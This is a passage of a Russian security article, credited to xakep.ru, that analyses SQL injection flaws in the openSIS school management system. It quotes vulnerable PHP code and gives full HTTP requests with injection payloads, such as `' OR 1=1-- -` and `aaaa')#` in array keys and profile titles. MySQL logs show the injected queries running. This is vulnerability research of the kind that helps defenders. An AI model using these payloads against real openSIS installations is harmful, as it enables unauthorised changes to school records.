LO_search=&values[14''][TITLE]=AAAA&values[14][SHORT_NAME]=BBB&values[14][TYPE]=Drop&values[new][TITLE]=&values[new][SHORT_NAME]=&values[new][TYPE]=
Код: Скопировать в буфер обмена
Код:
2024-04-30T13:41:58.636133Z 140 Query
UPDATE student_enrollment_codes
SET TITLE='AAAA ' WHERE ID='14'''
Код: Скопировать в буфер обмена
Код:
2024-04-30T13:43:42.143231Z 147 Query
UPDATE student_enrollment_codes
SET TITLE='AAAA ' WHERE ID='14' OR 1=1-- -'
Users
Это приложение продолжает удивлять меня: есть функции, которые на самом деле предотвращают SQL-инъекции (и некоторые из них созданы самими разработчиками), но разработчики эти каким‑то невообразимым образом использовали эти функции так, что программа не просто осталась уязвимой — возможность для инъекций теперь есть вообще на каждой странице!Инъекции можно предотвратить, например, перебирая значения из запроса средствами оператора foreach, как в строке 70 в modules/users/includes/CertificationInfoInc.php:
Код: Скопировать в буфер обмена
Код:
foreach ($_REQUEST['values'] as $cert_id => $cert_value) {
if ($cert_id && $cert_id != 'new') {
$sql = "UPDATE staff_certification SET ";
foreach ($cert_value as $column => $value) {
if (!is_array($value))
$sql .= $column . "='" . str_replace("'", "''", $value) . "',";
else {
$sql .= $column . "='||";
foreach ($value as $val) {
if ($val)
$sql .= str_replace('"', '"', $val) . '||';
}
$sql .= "',";
}
}
$sql = substr($sql, 0, -1) . " WHERE STAFF_CERTIFICATION_ID='$cert_id'";
DBQuery($sql);
Код: Скопировать в буфер обмена
Код:
POST /openSIS/Modules.php?modname=users/Staff.php&custom=staff&include=CertificationInfoInc&category_id=4&staff_id=30&modfunc=update HTTP/1.1
Host: 192.168.147.131
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQS9jXjB4QidjJBZp
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36
Cookie: PHPSESSID=0oelpc05g9clrnv5fdrvg8kvqr
Connection: close
------WebKitFormBoundaryQS9jXjB4QidjJBZp
Content-Disposition: form-data; name="error_handler"
------WebKitFormBoundaryQS9jXjB4QidjJBZp
Content-Disposition: form-data; name="LO_search"
Search
------WebKitFormBoundaryQS9jXjB4QidjJBZp
Content-Disposition: form-data; name="values[1][STAFF_CERTIFICATION_NAME]"
AAAA2
------WebKitFormBoundaryQS9jXjB4QidjJBZp
Content-Disposition: form-data; name="month_values[1][STAFF_CERTIFICATION_DATE]"
05
------WebKitFormBoundaryQS9jXjB4QidjJBZp
Content-Disposition: form-data; name="day_values[1][STAFF_CERTIFICATION_DATE]"
...
Код: Скопировать в буфер обмена
Код:
root@ubuntu:~# tail -f /var/log/mysql/mysql.log | grep 'WHERE STAFF_CERTIFICATION_ID'
2024-05-02T17:37:22.846611Z 2032 Query
UPDATE staff_certification SET STAFF_CERTIFICATION_NAME='AAAA2',
STAFF_PRIMARY_CERTIFICATION_INDICATOR=NULL,
STAFF_CERTIFICATION_DATE='2024-05-01',
STAFF_CERTIFICATION_EXPIRY_DATE='2024-05-31'
WHERE STAFF_CERTIFICATION_ID='1'
2024-05-02T17:37:22.846988Z 2032 Query
UPDATE staff_certification SET
STAFF_PRIMARY_CERTIFICATION_INDICATOR=NULL,
STAFF_CERTIFICATION_DATE='2024-05-01',
STAFF_CERTIFICATION_EXPIRY_DATE='2024-05-31'
WHERE STAFF_CERTIFICATION_ID='2'
...
Код: Скопировать в буфер обмена
Код:
------WebKitFormBoundaryQS9jXjB4QidjJBZp
Content-Disposition: form-data; name="error_handler"
------WebKitFormBoundaryQS9jXjB4QidjJBZp
Content-Disposition: form-data; name="LO_search"
Search
------WebKitFormBoundaryQS9jXjB4QidjJBZp
Content-Disposition: form-data; name="values[1][STAFF_CERTIFICATION_NAME]"
...
Код: Скопировать в буфер обмена
Код:
2024-05-02T17:39:02.393434Z 2208 Query
UPDATE staff_certification
SET STAFF_CERTIFICATION_NAME='AAAA2',STAFF_CERTIFICATION_DATE='-05'
WHERE STAFF_CERTIFICATION_ID='1'
2024-05-02T17:39:02.394323Z 2208 Query UPDATE staff_certification
SET STAFF_PRIMARY_CERTIFICATION_INDICATOR=NULL,
STAFF_CERTIFICATION_DATE='2024-05-01',
STAFF_CERTIFICATION_EXPIRY_DATE='2024-05-31'
WHERE STAFF_CERTIFICATION_ID='4'
Код: Скопировать в буфер обмена
Код:
month_values[15'#][STAFF_CERTIFICATION_DATE]
2024-05-02T17:41:05.612987Z 2253 Query UPDATE staff_certification SET STAFF_CERTIFICATION_DATE='-05' WHERE STAFF_CERTIFICATION_ID='15'#'
Валидация параметров
В openSIS есть валидация параметров, которую можно использовать, вызвав функцию clean_param. Функция clean_param много раз вызывается в коде, мы рассмотрим PARAM_NOTAGS и PARAM_ALPHA.Код: Скопировать в буфер обмена
Код:
case PARAM_NOTAGS: // Strip all tags
$param = strip_tags($param);
$param = str_replace('>', '', $param);
return str_replace('<', '', $param);
case PARAM_ALPHA: // Remove everything not a-z
return par_rep('/[^a-zA-Z#&]/i', '', $param);
// return replace_croatain($param);
PHP: Скопировать в буфер обмена
Код:
if (clean_param($_REQUEST['new_profile_title'], PARAM_NOTAGS) && AllowEdit()) {
// $id = DBGet(DBQuery('SHOW TABLE STATUS LIKE '' . 'user_profiles' . '''));
// $id[1]['ID'] = $id[1]['AUTO_INCREMENT'];
// $id = $id[1]['ID'];
$exceptions_RET = array();
$_REQUEST['new_profile_title'] = str_replace("'", "''", $_REQUEST['new_profile_title']);
DBQuery('INSERT INTO user_profiles (TITLE,PROFILE) values('' . clean_param($_REQUEST['new_profile_title'], PARAM_NOTAGS) . '','' . clean_param($_REQUEST['new_profile_type'], PARAM_ALPHA) . '')');
$_REQUEST['profile_id'] = mysqli_insert_id($connection);
$xprofile = $_REQUEST['new_profile_type'];
unset($_REQUEST['new_profile_title']);
unset($_REQUEST['new_profile_type']);
unset($_SESSION['_REQUEST_vars']['new_profile_title']);
unset($_SESSION['_REQUEST_vars']['new_profile_type']);
}
Вот такой запрос стриггерит уязвимость:
Код: Скопировать в буфер обмена
Код:
POST /openSIS/Modules.php?modname=users/Profiles.php&modfunc=update&profile_id= HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36
Cookie: PHPSESSID=0oelpc05g9clrnv5fdrvg8kvqr
Connection: close
new_profile_title=aaaa')#&new_profile_type=admin
Код: Скопировать в буфер обмена
2024-05-02T18:07:23.304858Z 2292 Query INSERT INTO user_profiles (TITLE,PROFILE) values('aaaa'')#','admin')
ВЫВОДЫ
Итак, мы нашли огромный простор для SQL-инъекций. Некоторые проэксплуатировать не выйдет, в других меры безопасности сами становились причиной инъекции, в третьих инъекция предотвращалась случайно.Неэксплуатируемые случаи — это те, в которых есть SQL-инъекция, но ты ничего от нее не можешь получить, а только манипулируешь некоторыми данными. Но даже эти случаи иногда считаются уязвимостями, поскольку они угрожают целостности вводимых и сохраняемых данных (CVSS ~ 2,7 AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N).
Ну и лучшее я оставил напоследок: везде, где в приложении используются значения в квадратных скобках, есть возможность для SQL-инъекции. А используются они во всем приложении.
Автор @az_AZ
Источник xakep.ru